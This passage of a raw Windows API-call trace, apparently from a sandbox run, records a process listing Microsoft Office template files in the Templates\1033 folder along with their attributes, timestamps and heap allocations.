ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0079.797] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb7b8 [0079.798] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033" (normalized: "c:\\program files\\microsoft office\\templates\\1033"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0079.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033" (normalized: "c:\\program files\\microsoft office\\templates\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0079.798] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0079.798] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0079.798] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0079.798] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0079.798] NtClose (Handle=0x174) returned 0x0 [0079.799] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb7b8) returned 1 [0079.800] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb7b8 [0079.800] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb6a8 [0079.800] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb950 [0079.800] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e8f80 [0079.805] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.811] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x15087730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15087730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access", cAlternateFileName="")) returned 1 [0079.811] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e16f270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x329e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdjacencyLetter.dotx", cAlternateFileName="")) returned 1 [0079.811] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.811] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.811] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.811] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.811] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.811] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0079.812] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb6a8) returned 1 [0079.812] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f2ef0 [0079.812] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12230d0 [0079.812] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.812] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e16f270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x33b26, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdjacencyMergeLetter.dotx", cAlternateFileName="")) returned 1 [0079.812] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.812] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.812] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.812] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.812] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.813] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f2f10 [0079.813] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12231d8 [0079.813] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.813] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e1953d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x36f0b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdjacencyReport.dotx", cAlternateFileName="")) returned 1 [0079.813] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.813] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.813] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.813] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.814] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.814] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f2f30 [0079.814] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12232e0 [0079.814] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.814] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e1953d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x3bcb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdjacencyResume.dotx", cAlternateFileName="")) returned 1 [0079.814] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.814] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.814] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.815] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.815] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.815] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f2f50 [0079.815] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12233e8 [0079.815] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.815] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x920aaf00, ftCreationTime.dwHighDateTime=0x1ca48b3, ftLastAccessTime.dwLowDateTime=0xaf5058e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x920aaf00, ftLastWriteTime.dwHighDateTime=0x1ca48b3, nFileSizeHigh=0x0, nFileSizeLow=0x7800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR1.XLT", cAlternateFileName="")) returned 1 [0079.815] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.815] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.815] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.816] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.816] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.816] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f2f70 [0079.816] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb6a8 [0079.816] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.816] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x920aaf00, ftCreationTime.dwHighDateTime=0x1ca48b3, ftLastAccessTime.dwLowDateTime=0xaf5058e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x920aaf00, ftLastWriteTime.dwHighDateTime=0x1ca48b3, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR10.XLT", cAlternateFileName="")) returned 1 [0079.816] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.816] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.816] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.817] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.817] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.817] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f2f90 [0079.817] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fc478 [0079.817] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.817] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x920aaf00, ftCreationTime.dwHighDateTime=0x1ca48b3, ftLastAccessTime.dwLowDateTime=0xaf5058e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x920aaf00, ftLastWriteTime.dwHighDateTime=0x1ca48b3, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR2.XLT", cAlternateFileName="")) returned 1 [0079.817] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.818] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.818] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.818] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.818] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.818] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f2fb0 [0079.818] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fc500 [0079.818] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.818] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x920aaf00, ftCreationTime.dwHighDateTime=0x1ca48b3, ftLastAccessTime.dwLowDateTime=0xaf5058e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x920aaf00, ftLastWriteTime.dwHighDateTime=0x1ca48b3, nFileSizeHigh=0x0, nFileSizeLow=0x7800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR3.XLT", cAlternateFileName="")) returned 1 [0079.818] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.819] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.819] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.819] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.819] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.819] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f2fd0 [0079.819] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fc588 [0079.819] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.819] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x920aaf00, ftCreationTime.dwHighDateTime=0x1ca48b3, ftLastAccessTime.dwLowDateTime=0xaf5058e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x920aaf00, ftLastWriteTime.dwHighDateTime=0x1ca48b3, nFileSizeHigh=0x0, nFileSizeLow=0x7600, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR4.XLT", cAlternateFileName="")) returned 1 [0079.819] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.820] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.820] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.820] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.820] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.820] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f2ff0 [0079.820] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fc610 [0079.820] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.820] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x920aaf00, ftCreationTime.dwHighDateTime=0x1ca48b3, ftLastAccessTime.dwLowDateTime=0xaf5058e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x920aaf00, ftLastWriteTime.dwHighDateTime=0x1ca48b3, nFileSizeHigh=0x0, nFileSizeLow=0x7800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR5.XLT", cAlternateFileName="")) returned 1 [0079.820] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.821] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.821] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.821] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.821] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.821] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f3010 [0079.821] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fc698 [0079.821] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.821] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x920aaf00, ftCreationTime.dwHighDateTime=0x1ca48b3, ftLastAccessTime.dwLowDateTime=0xaf5058e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x920aaf00, ftLastWriteTime.dwHighDateTime=0x1ca48b3, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR6.XLT", cAlternateFileName="")) returned 1 [0079.822] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.822] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.822] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.822] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.822] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.822] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f3030 [0079.822] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fc720 [0079.822] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.823] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x933bdc00, ftCreationTime.dwHighDateTime=0x1ca48b3, ftLastAccessTime.dwLowDateTime=0xaf5058e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x933bdc00, ftLastWriteTime.dwHighDateTime=0x1ca48b3, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR7.XLT", cAlternateFileName="")) returned 1 [0079.823] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.823] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.823] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.823] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.823] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.823] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f3050 [0079.823] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fc7a8 [0079.824] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.824] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x933bdc00, ftCreationTime.dwHighDateTime=0x1ca48b3, ftLastAccessTime.dwLowDateTime=0xaf5058e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x933bdc00, ftLastWriteTime.dwHighDateTime=0x1ca48b3, nFileSizeHigh=0x0, nFileSizeLow=0x7400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR8.XLT", cAlternateFileName="")) returned 1 [0079.824] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.824] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.824] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.824] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.824] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.824] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f3070 [0079.824] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fc830 [0079.825] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.825] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x933bdc00, ftCreationTime.dwHighDateTime=0x1ca48b3, ftLastAccessTime.dwLowDateTime=0xaf5058e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x933bdc00, ftLastWriteTime.dwHighDateTime=0x1ca48b3, nFileSizeHigh=0x0, nFileSizeLow=0x7600, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR9.XLT", cAlternateFileName="")) returned 1 [0079.825] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.825] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.825] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.825] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.825] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.825] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f3090 [0079.825] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fc8b8 [0079.826] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.826] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c49db00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e1bb530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c49db00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x2941e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ApothecaryLetter.dotx", cAlternateFileName="")) returned 1 [0079.826] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.826] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.826] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.826] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.826] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.826] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f30b0 [0079.827] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12234f0 [0079.827] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.827] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c49db00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e1bb530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c49db00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x2f0f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ApothecaryMergeLetter.dotx", cAlternateFileName="")) returned 1 [0079.827] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.827] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.827] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.827] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.827] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.827] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f30d0 [0079.828] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12235f8 [0079.828] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x5b00) returned 0x1234840 [0079.828] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x122ed78) returned 1 [0079.828] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.828] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c49db00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e1bb530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c49db00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x3462a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ApothecaryNewsletter.dotx", 